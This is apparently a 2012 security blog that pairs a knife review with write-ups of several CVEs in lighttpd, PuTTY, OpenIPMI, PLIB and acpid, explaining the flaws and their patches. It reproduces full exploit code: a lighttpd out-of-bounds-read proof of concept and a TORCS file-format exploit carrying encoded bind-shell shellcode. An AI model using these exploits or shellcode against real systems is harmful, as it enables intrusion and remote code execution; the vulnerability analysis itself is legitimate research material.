xorl %eax, %eax

Knife: KA-BAR USMC #1217

xorl — Wed, 04 Jan 2012 20:45:32 +0000

What could anyone say about this classic fighting knife?
I bought it in 2001 and it is still the best knife I have ever owned. So, with no further introduction here is the first photograph…

————————————————
Model: USMC #1217
Manufacturer: KA-BAR
Country Manufactured: USA
Type: Fighting Knife
Price: €70-100
Blade Length: 17.78cm (7 inches)
Total Length (open): 27.94cm (11 inches)
Total Length (closed): N/A
Blade Material: 1095 CroVan Steel
Handle Material: Leather
Lock: N/A
Weight: 314g (0.70 lbs)
————————————————

This is definitely the most famous fixed blade knife ever designed. Each little part of this knife is designed perfectly with high quality for amazingly heavy duty operations. Its blade is razor sharp and can easily stay this way with minor maintenance. Here is a photo from a different angle.

This knife comes in a lot of different models but the design remains the same. The only notable difference is on models that have a small serrated edge but the overall design it’s still exactly the same. Since you can find literally thousands of detailed reviews I’m not going to get into all the details of this knife. I’ll just challenge you to buy one and try it out yourselves. It’s a great knife.

CVE-2011-4362: Lighttpd Remote Signedness Issue

xorl — Tue, 03 Jan 2012 08:21:22 +0000

This bug was discovered and reported by Xi Wang and it affects all lighttpd versions prior to 1.4.30 release. The susceptible code resides in src/http_auth.c file in the C function you see below.

/* "A-Z a-z 0-9 + /" maps to 0-63 */
static const short base64_reverse_table[256] = {
/*	 0   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F */
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x00 - 0x0F */
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x10 - 0x1F */
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, /* 0x20 - 0x2F */
	52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, /* 0x30 - 0x3F */
	-1,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, /* 0x40 - 0x4F */
	15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, /* 0x50 - 0x5F */
	-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, /* 0x60 - 0x6F */
	41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1, /* 0x70 - 0x7F */
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x80 - 0x8F */
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x90 - 0x9F */
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xA0 - 0xAF */
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xB0 - 0xBF */
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xC0 - 0xCF */
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xD0 - 0xDF */
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xE0 - 0xEF */
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xF0 - 0xFF */
};


static unsigned char * base64_decode(buffer *out, const char *in) {
	unsigned char *result;
	int ch, j = 0, k;
	size_t i;
  ...
	ch = in[0];
	/* run through the whole string, converting as we go */
	for (i = 0; i < in_len; i++) {
		ch = in[i];

		if (ch == '\0') break;

		if (ch == base64_pad) break;

		ch = base64_reverse_table[ch];
		if (ch < 0) continue;

		switch(i % 4) {
  ...
	}
  ...
	return result;
}

As you can see, ‘in’ pointer is defined as a signed character. Due to this data type, any values greater than 0×80 will result in returning a negative value in ‘ch’ which is later used as an index value in ‘base64_reverse_table[]‘ array. Because of this mistake this vulnerability results in access out of bounds of the aforementioned array.

So, the patch was to cast the variable properly to avoid this signedness issue.

 	/* run through the whole string, converting as we go */
 	for (i = 0; i < in_len; i++) {
-		ch = in[i];
+		ch = (unsigned char) in[i];
 
 		if (ch == '\0') break;

Furthermore, recently Adam Zabrocki (better known as pi3) released a code that triggers this vulnerability which is p_cve-2011-4362.c. It starts with some very useful comments you see here.

/*
 * Primitive Lighttpd Proof of Concept code for CVE-2011-4362 vulnerability discovered by Xi Wang
 *
 * Here the vulnerable code (src/http_auth.c:67)
 *
 * --- CUT ---
 * static const short base64_reverse_table[256] = {
 *         -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x00 - 0x0F
 *         -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x10 - 0x1F
 *         -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, /* 0x20 - 0x2F
 *         52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, /* 0x30 - 0x3F
 *         -1,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, /* 0x40 - 0x4F
 *         15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, /* 0x50 - 0x5F
 *         -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, /* 0x60 - 0x6F
 *         41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1, /* 0x70 - 0x7F
 *         -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x80 - 0x8F
 *         -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x90 - 0x9F
 *         -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xA0 - 0xAF
 *         -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xB0 - 0xBF
 *         -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xC0 - 0xCF
 *         -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xD0 - 0xDF
 *         -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xE0 - 0xEF
 *         -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xF0 - 0xFF
 * };
 *
 * static unsigned char * base64_decode(buffer *out, const char *in) {
 * 	...
 * 	int ch, ...;
 * 	size_t i;
 * 	...
 * 	
 * 		ch = in[i];
 * 		...
 * 		ch = base64_reverse_table[ch];
 * 	...
 * }
 * --- CUT ---
 *
 * Because variable 'in' is type 'char', characters above 0x80 lead to negative indices.
 * This vulnerability may lead out-of-boud read and theoretically cause Segmentation Fault
 * (Denial of Service attack). Unfortunately I couldn't find any binaries where .rodata
 * section before the base64_reverse_table table cause this situation.
 *
 * I have added some extra debug in the lighttpd source code to see if this vulnerability is
 * executed correctly. Here is output for one of the example:
 *
 * --- CUT ---
 * ptr[0x9a92c48] size[0xc0] used[0x0]
 * 127(. | 0 | 0)
 * -128(t | 1 | 0)
 * -127(e | 2 | 1)
 * -126(' | 3 | 2)
 * -125(e | 4 | 3)
 * -124(u | 5 | 3)
 * -123(r | 6 | 4)
 * -122(' | 7 | 5)
 * -121(s | 8 | 6)
 * -120(c | 9 | 6)
 * -119(i | 10 | 7)
 * -118(n | 11 | 8)
 * -117(i | 12 | 9)
 * -116(  | 13 | 9)
 * -115(a | 14 | 10)
 * -114(t | 15 | 11)
 * -113(. | 16 | 12)
 * -112(e | 17 | 12)
 * -111(u | 18 | 13)
 * -110(r | 19 | 14)
 * -109(' | 20 | 15)
 * -108(f | 21 | 15)
 * -107(i | 22 | 16)
 * -106(e | 23 | 17)
 * -105(: | 24 | 18)
 * -104(= | 25 | 18)
 * -103(o | 26 | 19)
 * -102(t | 27 | 20)
 * -101(o | 28 | 21)
 * -100(  | 29 | 21)
 * -99(a | 30 | 22)
 * -98(g | 31 | 23)
 * -97(. | 32 | 24)
 * -96(d | 33 | 24)
 * -95(g | 34 | 25)
 * -94(s | 35 | 26)
 * -93(: | 36 | 27)
 * -92(u | 37 | 27)
 * -91(s | 38 | 28)
 * -90(p | 39 | 29)
 * -89(o | 40 | 30)
 * -88(t | 41 | 30)
 * -87(d | 42 | 31)
 * -86(b | 43 | 32)
 * -85(c | 44 | 33)
 * -84(e | 45 | 33)
 * -83(d | 46 | 34)
 * -82(( | 47 | 35)
 * -81(n | 48 | 36)
 * -80(y | 49 | 36)
 * -79(h | 50 | 37)
 * -78(d | 51 | 38)
 * -77(g | 52 | 39)
 * -76(s | 53 | 39)
 * -75(  | 54 | 40)
 * -74(r | 55 | 41)
 * -73(p | 56 | 42)
 * -72(a | 57 | 42)
 * -71(n | 58 | 43)
 * -70(. | 59 | 44)
 * -69(. | 60 | 45)
 * -68(d | 61 | 45)
 * -67(g | 62 | 46)
 * -66(s | 63 | 47)
 * -65(: | 64 | 48)
 * -64(( | 65 | 48)
 * -63(d | 66 | 49)
 * -62(- | 67 | 50)
 * -61(e | 68 | 51)
 * -60(s | 69 | 51)
 * -59(  | 70 | 52)
 * -58(i | 71 | 53)
 * -57(s | 72 | 54)
 * -56(n | 73 | 54)
 * -55(  | 74 | 55)
 * -54(i | 75 | 56)
 * -53(l | 76 | 57)
 * -52(. | 77 | 57)
 * -51(. | 78 | 58)
 * -50(k | 79 | 59)
 * -49(0 | 80 | 60)
 * -48(% | 81 | 60)
 * -47(] | 82 | 61)
 * -46(p | 83 | 62)
 * -45(r | 84 | 63)
 * -44(0 | 85 | 63)
 * -43(% | 86 | 64)
 * -42(] | 87 | 65)
 * -41(s | 88 | 66)
 * -40(z | 89 | 66)
 * -39([ | 90 | 67)
 * -38(x | 91 | 68)
 * -37(x | 92 | 69)
 * -36(  | 93 | 69)
 * -35(s | 94 | 70)
 * -34(d | 95 | 71)
 * -33(0 | 96 | 72)
 * -32(% | 97 | 72)
 * -31(] | 98 | 73)
 * -30(. | 99 | 74)
 * -29(. | 100 | 75)
 * -28(d | 101 | 75)
 * -27(c | 102 | 76)
 * -26(d | 103 | 77)
 * -25(i | 104 | 78)
 * -24(g | 105 | 78)
 * -23(b | 106 | 79)
 * -22(s | 107 | 80)
 * -21(6 | 108 | 81)
 * -20(- | 109 | 81)
 * -19(t | 110 | 82)
 * -18(i | 111 | 83)
 * -17(g | 112 | 84)
 * -16(f | 113 | 84)
 * -15(i | 114 | 85)
 * -14(e | 115 | 86)
 * -13(. | 116 | 87)
 * -12(. | 117 | 87)
 * -11(. | 118 | 88)
 * -10(. | 119 | 89)
 * -9(. | 120 | 90)
 * -8(. | 121 | 90)
 * -7(. | 122 | 91)
 * -6(. | 123 | 92)
 * -5(. | 124 | 93)
 * -4(. | 125 | 93)
 * -3(. | 126 | 94)
 * -2(. | 127 | 95)
 * -1(. | 128 | 96)
 * k[0x60] ptr[0x9a92c48] size[0xc0] used[0x0]
 * ptr[0x9a92c48] size[0xc0] used[0x60]
 * string [.Yg.\...n.Xt.]r.ze.....g.Y..\..Yb.Y(..d..r.[..Y...-.xi..i.]
 * --- CUT ---
 *
 * First column is the offset so vulnerability is executed like it should be
 * (negative offsets). Second column is byte which is read out-of-bound.
 *
 *
 * Maybe you can find vulnerable binary?
 *
 *
 * Best regards,
 * Adam 'pi3' Zabrocki
 *
 *
 * --
 * http://pi3.com.pl
 * http://site.pi3.com.pl/exp/p_cve-2011-4362.c
 * http://blog.pi3.com.pl/?p=277
 *
 */

Then there are some definitions of HTTP requests and useful variables…

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define PORT 80
#define SA struct sockaddr

char header[] =
"GET /%s/ HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Proxy-Connection: keep-alive\r\n"
"Authorization: Basic ";

char header_port[] =
"GET /%s/ HTTP/1.1\r\n"
"Host: %s:%d\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Proxy-Connection: keep-alive\r\n"
"Authorization: Basic ";

Moving to the main routine we have…

int main(int argc, char *argv[]) {

   int i=PORT,opt=0,sockfd;
   char *remote_dir = NULL;
   char *r_hostname = NULL;
   struct sockaddr_in servaddr;
   struct hostent *h = NULL;
   char *buf;
   unsigned int len = 0x0;


   if (!argv[1])
      usage(argv[0]);

So if no arguments are provided it will invoke usage() which is shown below.

int usage(char *arg) {

      printf("\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n");
      printf("\n\tUsage: %s \n\n\t\tOptions:\n",arg);
      printf("\t\t\t -v \n\t\t\t -p \n\t\t\t -d \n\n");
      exit(0);
}

Back to main function we can see the arguments parsing code which is pretty self-explanatory using the information of usage() routine.

   printf("\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n");
   printf("\n\t\t[+] Preparing arguments... ");
   while((opt = getopt(argc,argv,"h:d:p:?")) != -1) {
      switch(opt) {

       case 'h':

         r_hostname = strdup(optarg);
         if ( (h = gethostbyname(r_hostname))==NULL) {
             printf("Gethostbyname() field!\n");
             exit(-1);
         }
         break;

       case 'p':

             i=atoi(optarg);
         break;

       case 'd':

             remote_dir = strdup(optarg);
         break;

       case '?':

             usage(argv[0]);
         break;

       default:

             usage(argv[0]);
         break;

      }
   }

   if (!remote_dir || !h) {
      usage(argv[0]);
      exit(-1);
   }

The next step of the code is to allocate the required memory space and zero it out.

   servaddr.sin_family      = AF_INET;
   servaddr.sin_port        = htons(i);
   servaddr.sin_addr        = *(struct in_addr*)h->h_addr;

   len = strlen(header_port)+strlen(remote_dir)+strlen(r_hostname)+512;
   if ( (buf = (char *)malloc(len)) == NULL) {
      printf("malloc() :(\n");
      exit(-1);
   }
   memset(buf,0x0,len);

Using the initially defined HTTP requests it will construct the appropriate depending if it using the HTTP default port or some user defined one.

   if (i != 80)
      snprintf(buf,len,header_port,remote_dir,r_hostname,i);
   else
      snprintf(buf,len,header,remote_dir,r_hostname);

Then it fills the buffer with negative values (meaning any value greater than 127 decimal (hex 0x7F)) in order to trigger the signedness issue.

   for (i=0;i<130;i++)
      buf[strlen(buf)] = 127+i;

At last, the buffer is terminated as HTTP expects

   buf[strlen(buf)] = '\r';
   buf[strlen(buf)] = '\n';
   buf[strlen(buf)] = '\r';
   buf[strlen(buf)] = '\n';

Finally, it opens a socket to the specified address, connects to it and sends the malicious request.

   printf("OK\n\t\t[+] Creating socket... ");
   if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0 ) {
      printf("Socket() error!\n");
      exit(-1);
   }

   printf("OK\n\t\t[+] Connecting to [%s]... ",r_hostname);
   if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) < 0 ) {
      printf("Connect() error!\n");
      exit(-1);
   }

   printf("OK\n\t\t[+] Sending dirty packet... ");
//   write(1,buf,strlen(buf));
   write(sockfd,buf,strlen(buf));

   printf("OK\n\n\t\t[+] Check the website!\n\n");

   close(sockfd);

}

CVE-2011-4607: PuTTY Password-not-Wiped Vulnerability

xorl — Mon, 02 Jan 2012 08:55:54 +0000

This was a very interesting vulnerability disclosed by the PuTTY project through this security advisory.

The buggy code resides in putty/ssh.c file and more specifically in the C routine you see here.

/*
 * Handle the SSH-2 userauth and connection layers.
 */
static void do_ssh2_authconn(Ssh ssh, unsigned char *in, int inlen,
			     struct Packet *pktin)
{
    struct do_ssh2_authconn_state {
	enum {
	    AUTH_TYPE_NONE,
		AUTH_TYPE_PUBLICKEY,
		AUTH_TYPE_PUBLICKEY_OFFER_LOUD,
		AUTH_TYPE_PUBLICKEY_OFFER_QUIET,
		AUTH_TYPE_PASSWORD,
	        AUTH_TYPE_GSSAPI,      /* always QUIET */
		AUTH_TYPE_KEYBOARD_INTERACTIVE,
		AUTH_TYPE_KEYBOARD_INTERACTIVE_QUIET
	} type;
	int done_service_req;
	int gotit, need_pw, can_pubkey, can_passwd, can_keyb_inter;
	int tried_pubkey_config, done_agent;
#ifndef NO_GSSAPI
	int can_gssapi;
	int tried_gssapi;
#endif
	int kbd_inter_refused;
	int we_are_in, userauth_success;
	prompts_t *cur_prompt;
	int num_prompts;
	char *username;
	char *password;
	int got_username;
	void *publickey_blob;
	int publickey_bloblen;
	int publickey_encrypted;
	char *publickey_algorithm;
	char *publickey_comment;
	unsigned char agent_request[5], *agent_response, *agentp;
	int agent_responselen;
	unsigned char *pkblob_in_agent;
	int keyi, nkeys;
	char *pkblob, *alg, *commentp;
	int pklen, alglen, commentlen;
	int siglen, retlen, len;
	char *q, *agentreq, *ret;
	int try_send;
	int num_env, env_left, env_ok;
	struct Packet *pktout;
	Filename *keyfile;
#ifndef NO_GSSAPI
	struct ssh_gss_library *gsslib;
	Ssh_gss_ctx gss_ctx;
	Ssh_gss_buf gss_buf;
	Ssh_gss_buf gss_rcvtok, gss_sndtok;
	Ssh_gss_name gss_srv_name;
	Ssh_gss_stat gss_stat;
#endif
    };
    crState(do_ssh2_authconn_state);

    crBegin(ssh->do_ssh2_authconn_crstate);

    s->done_service_req = FALSE;
    s->we_are_in = s->userauth_success = FALSE;
#ifndef NO_GSSAPI
    s->tried_gssapi = FALSE;
#endif

    if (!conf_get_int(ssh->conf, CONF_ssh_no_userauth)) {
  ...
    crFinishV;
}

This is a huge function which uses a ‘Socket’ structure which also includes a member named ‘cur_prompt’ of type ‘prompts_t’. This type is defined in putty/putty.h header file as shown below.

/*
 * Mechanism for getting text strings such as usernames and passwords
 * from the front-end.
 * The fields are mostly modelled after SSH's keyboard-interactive auth.
 * FIXME We should probably mandate a character set/encoding (probably UTF-8).
 *
 * Since many of the pieces of text involved may be chosen by the server,
 * the caller must take care to ensure that the server can't spoof locally-
 * generated prompts such as key passphrase prompts. Some ground rules:
 *  - If the front-end needs to truncate a string, it should lop off the
 *    end.
 *  - The front-end should filter out any dangerous characters and
 *    generally not trust the strings. (But \n is required to behave
 *    vaguely sensibly, at least in `instruction', and ideally in
 *    `prompt[]' too.)
 */
typedef struct {
    char *prompt;
    int echo;
    /*
     * 'result' must be a dynamically allocated array of exactly
     * 'resultsize' chars. The code for actually reading input may
     * realloc it bigger (and adjust resultsize accordingly) if it has
     * to. The caller should free it again when finished with it.
     *
     * If resultsize==0, then result may be NULL. When setting up a
     * prompt_t, it's therefore easiest to initialise them this way,
     * which means all actual allocation is done by the callee. This
     * is what add_prompt does.
     */
    char *result;
    size_t resultsize;
} prompt_t;
typedef struct {
    /*
     * Indicates whether the information entered is to be used locally
     * (for instance a key passphrase prompt), or is destined for the wire.
     * This is a hint only; the front-end is at liberty not to use this
     * information (so the caller should ensure that the supplied text is
     * sufficient).
     */
    int to_server;
    char *name;		/* Short description, perhaps for dialog box title */
    int name_reqd;	/* Display of `name' required or optional? */
    char *instruction;	/* Long description, maybe with embedded newlines */
    int instr_reqd;	/* Display of `instruction' required or optional? */
    size_t n_prompts;   /* May be zero (in which case display the foregoing,
                         * if any, and return success) */
    prompt_t **prompts;
    void *frontend;
    void *data;		/* slot for housekeeping data, managed by
			 * get_userpass_input(); initially NULL */
} prompts_t;
prompts_t *new_prompts(void *frontend);
void add_prompt(prompts_t *p, char *promptstr, int echo);
void prompt_set_result(prompt_t *pr, const char *newstr);
void prompt_ensure_result_size(prompt_t *pr, int len);
/* Burn the evidence. (Assumes _all_ strings want free()ing.) */
void free_prompts(prompts_t *p);

The problem with the initial routine was that it was not using free_prompts() to “burn the evidence” as the above code comment suggests. Due to this mistake, critical data such as passwords and usernames were not erased from memory and a user able to read PuTTY process’ memory could retrieve those data.

The fix was to add the missing call like this:

 		    ssh2_pkt_send_with_padding(ssh, s->pktout, 256);
 
+                    /*
+                     * Free the prompts structure from this iteration.
+                     * If there's another, a new one will be allocated
+                     * when we return to the top of this while loop.
+                     */
+                    free_prompts(s->cur_prompt);
+
 		    /*
 		     * Get the next packet in case it's another
 		     * INFO_REQUEST.

CVE-2011-4339: OpenIPMI Event Daemon Insecure PID File Creation

xorl — Mon, 02 Jan 2012 07:33:51 +0000

As it was reported by Masahiro Matsuya, OpenIPMI (Intelligent Platform Management Interface) library and tools was creating its PID files with world writable (meaning 0666) permissions.
Due to this, any local user could change the PID of the aforementioned files and send signals (such as kill) to other processes.

The fix to this bug was to patch lib/helper.c file. Specifically, daemon’s initialization routine, ipmi_start_daemon() in order to remove the umask(2) system call.

 	chdir("/");
-	umask(0);
 
 	for (fd=0; fd<64; fd++) {
 		if (fd != intf->fd)

CVE-2011-4620: PLIB Stack Based Buffer Overflow

xorl — Mon, 02 Jan 2012 07:25:22 +0000

This was released as an exploit by Andres Gomez for TORCS which is available here. However, this was a bug located in PLIB library and more specifically in file src/util/ulError.cxx in the code snippet you see below.

static char            _ulErrorBuffer [ 1024 ] = { '\0' } ;
static ulErrorCallback _ulErrorCB = 0 ;
  ...
void ulSetError ( enum ulSeverity severity, const char *fmt, ... )
{
  va_list argp;
  va_start ( argp, fmt ) ;
  vsprintf ( _ulErrorBuffer, fmt, argp ) ;
  va_end ( argp ) ;
 
  if ( _ulErrorCB )
  {
    (*_ulErrorCB)( severity, _ulErrorBuffer ) ;
  }
  else
  {
    fprintf ( stderr, "%s: %s\n",
       _ulSeverityText[ severity ], _ulErrorBuffer ) ;
    if ( severity == UL_FATAL )
    {
#ifdef WIN32
      // A Windows user that does not start the program from the command line
      // will not see output to stderr
      ::MessageBox(0, _ulErrorBuffer, "fatal error!:", 0);
#endif
      exit (1) ;
    }
  }

As you can see the code will always use the statically allocated ‘_ulErrorBuffer[]‘ array which has size of 1024 Bytes. Any error messages longer than that will result in stack memory corruption.
This means that if the attacker is able to control even partially an error message’s length he/she would be able to exploit this vulnerability and achieve code execution.

Currently there is no fix for this problem so there is no workaround or patch to discuss. Moving to the exploitation, as I mentioned in the beginning of this post, Andres Gomez has already published an exploit for Windows platform. Let’s have a look…

/* Exploit Title: TORCS acc Buffer Overflow
# Date: 20/12/2011
# Author: Andres Gomez
# Software Link: http://torcs.sourceforge.net/
# Version: torcs 1.3.1
# Tested on: Windows
# CVE : */
 
/*
    This exploit generates a corrupted acc file
    which has to be saved in the directories where
    TORCS loads its data, for example replace
    cars/car4-trb1/car4-trb1.acc and put test.acc or create
    a new car/track and select it in the TORCS menu
*/
 
 
#include 
#include 
 
/*
   Shellcode: windows/shell_bind_tcp LPORT=4444 -b '\x00\xff\x0a'
   Encoder: x86/shikata_ga_nai
*/
 
unsigned char buf[] =
"\xbd\x2e\xed\xb6\x2d\xdd\xc2\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x6e\x0f\x03\x6e\x21\x0f\x43\xd1\xd5\x46"
"\xac\x2a\x25\x39\x24\xcf\x14\x6b\x52\x9b\x04\xbb\x10\xc9\xa4"
"\x30\x74\xfa\x3f\x34\x51\x0d\x88\xf3\x87\x20\x09\x32\x08\xee"
"\xc9\x54\xf4\xed\x1d\xb7\xc5\x3d\x50\xb6\x02\x23\x9a\xea\xdb"
"\x2f\x08\x1b\x6f\x6d\x90\x1a\xbf\xf9\xa8\x64\xba\x3e\x5c\xdf"
"\xc5\x6e\xcc\x54\x8d\x96\x67\x32\x2e\xa6\xa4\x20\x12\xe1\xc1"
"\x93\xe0\xf0\x03\xea\x09\xc3\x6b\xa1\x37\xeb\x66\xbb\x70\xcc"
"\x98\xce\x8a\x2e\x25\xc9\x48\x4c\xf1\x5c\x4d\xf6\x72\xc6\xb5"
"\x06\x57\x91\x3e\x04\x1c\xd5\x19\x09\xa3\x3a\x12\x35\x28\xbd"
"\xf5\xbf\x6a\x9a\xd1\xe4\x29\x83\x40\x41\x9c\xbc\x93\x2d\x41"
"\x19\xdf\xdc\x96\x1b\x82\x88\x5b\x16\x3d\x49\xf3\x21\x4e\x7b"
"\x5c\x9a\xd8\x37\x15\x04\x1e\x37\x0c\xf0\xb0\xc6\xae\x01\x98"
"\x0c\xfa\x51\xb2\xa5\x82\x39\x42\x49\x57\xed\x12\xe5\x07\x4e"
"\xc3\x45\xf7\x26\x09\x4a\x28\x56\x32\x80\x5f\x50\xfc\xf0\x0c"
"\x37\xfd\x06\xa3\x9b\x88\xe1\xa9\x33\xdd\xba\x45\xf6\x3a\x73"
"\xf2\x09\x69\x2f\xab\x9d\x25\x39\x6b\xa1\xb5\x6f\xd8\x0e\x1d"
"\xf8\xaa\x5c\x9a\x19\xad\x48\x8a\x50\x96\x1b\x40\x0d\x55\xbd"
"\x55\x04\x0d\x5e\xc7\xc3\xcd\x29\xf4\x5b\x9a\x7e\xca\x95\x4e"
"\x93\x75\x0c\x6c\x6e\xe3\x77\x34\xb5\xd0\x76\xb5\x38\x6c\x5d"
"\xa5\x84\x6d\xd9\x91\x58\x38\xb7\x4f\x1f\x92\x79\x39\xc9\x49"
"\xd0\xad\x8c\xa1\xe3\xab\x90\xef\x95\x53\x20\x46\xe0\x6c\x8d"
"\x0e\xe4\x15\xf3\xae\x0b\xcc\xb7\xdf\x41\x4c\x91\x77\x0c\x05"
"\xa3\x15\xaf\xf0\xe0\x23\x2c\xf0\x98\xd7\x2c\x71\x9c\x9c\xea"
"\x6a\xec\x8d\x9e\x8c\x43\xad\x8a";

Just the Metasploit generated shellcode along with some useful comments. Moving to the code is exactly what you would expect…

// this points to your shellcode
unsigned char function_pointer [] = "\xA8\xCA\x0E\x10";
 
int main(int argc, char **argv) {
 
    FILE *save_fd;
    int i=0;
 
    save_fd = fopen("test.acc", "w");
 
    if (save_fd == NULL) {
        printf("Failed to open '%s' for writing", "test.acc");
        return -1;
    }
 
    fprintf(save_fd, "AC3Db\n");
    fprintf(save_fd, "MATERIAL \"");
    for(i=0; i < 607; i++) {
        putc('\x90', save_fd);
    }
    fprintf(save_fd, "%s%s\" rgb 0.4 0.4 0.4  amb 0.8 0.8 0.8  emis 0.4 0.4 0.4  spec 0.5 0.5 0.5  shi 50  trans 0\n", buf, function_pointer);
    fprintf(save_fd, "OBJECT world\n");
    fprintf(save_fd, "kids %d\n", 5);
 
    close(save_fd);
 
    return 0;
}

It creates a malicious ACC file (named test.acc) which triggers the vulnerability through a ACC file parsing error and results in overwriting the ‘function_pointer[]‘ to achieve code execution of the shellcode.

acpid UNIX Domain Socket Name Buffer Overflow

xorl — Sat, 17 Dec 2011 23:00:56 +0000

First of all, this is probably not a security issue since as Kurt Seifried of Red Hat Security Response Team mentioned you need administrative access to trigger this overflow. However, there might be some other way to reach this bug using an unprivileged account and thus make it a vulnerability.

So, the bug resides in ud_socket.c file and more specifically in the routine you see here from acpid 2.0.12.

int
ud_create_socket(const char *name)
{
	int fd;
	int r;
	struct sockaddr_un uds_addr;

	/* JIC */
	unlink(name);

	fd = socket(AF_UNIX, SOCK_STREAM, 0);
	if (fd < 0) {
		return fd;
	}

	/* setup address struct */
	memset(&uds_addr, 0, sizeof(uds_addr));
	uds_addr.sun_family = AF_UNIX;
	strcpy(uds_addr.sun_path, name);
	
	/* bind it to the socket */
	r = bind(fd, (struct sockaddr *)&uds_addr, sizeof(uds_addr));
	if (r < 0) {
		return r;
	}

	/* listen - allow 10 to queue */
	r = listen(fd, 10);
	if (r < 0) {
		return r;
	}

	return fd;
}

You can quickly see that there is a common strcpy(3) stack based buffer overflow. The problem is that it copies the user supplied ‘name’ to ‘uds_addr.sun_path’ which is defined in /usr/include/sys/un.h header file to have the size you see below.

/* Structure describing the address of an AF_LOCAL (aka AF_UNIX) socket.  */
struct sockaddr_un
  {
    __SOCKADDR_COMMON (sun_);
    char sun_path[108];         /* Path name.  */
  };

As a result, any given name larger than this would result in a classic stack based buffer overflow.
The fix was to check the name length and log any long socket filenames.

-       /* JIC */
+    if (strnlen(name, sizeof(uds_addr.sun_path)) >
+        sizeof(uds_addr.sun_path) - 1) {
+        acpid_log(LOG_ERR, "ud_create_socket(): "
+            "socket filename longer than %u characters: %s",
+            sizeof(uds_addr.sun_path) - 1, name);
+        errno = EINVAL;
+        return -1;
+    }
+
+    /* JIC */
        unlink(name);

Of course, replace the strcpy(3) call with strncpy(3) as you can see here.

        uds_addr.sun_family = AF_UNIX;
-       strcpy(uds_addr.sun_path, name);
+    strncpy(uds_addr.sun_path, name, sizeof(uds_addr.sun_path) - 1);
       
        /* bind it to the socket */

And finally, perform some similar bound checking on ud_connect() from the same source code file which also included a sprintf(3) stack based buffer overflow.

int
ud_connect(const char *name)
{
	int fd;
	int r;
	struct sockaddr_un addr;

	fd = socket(AF_UNIX, SOCK_STREAM, 0);
	if (fd < 0) {
		return fd;
	}

	memset(&addr, 0, sizeof(addr));
	addr.sun_family = AF_UNIX;
	sprintf(addr.sun_path, "%s", name);

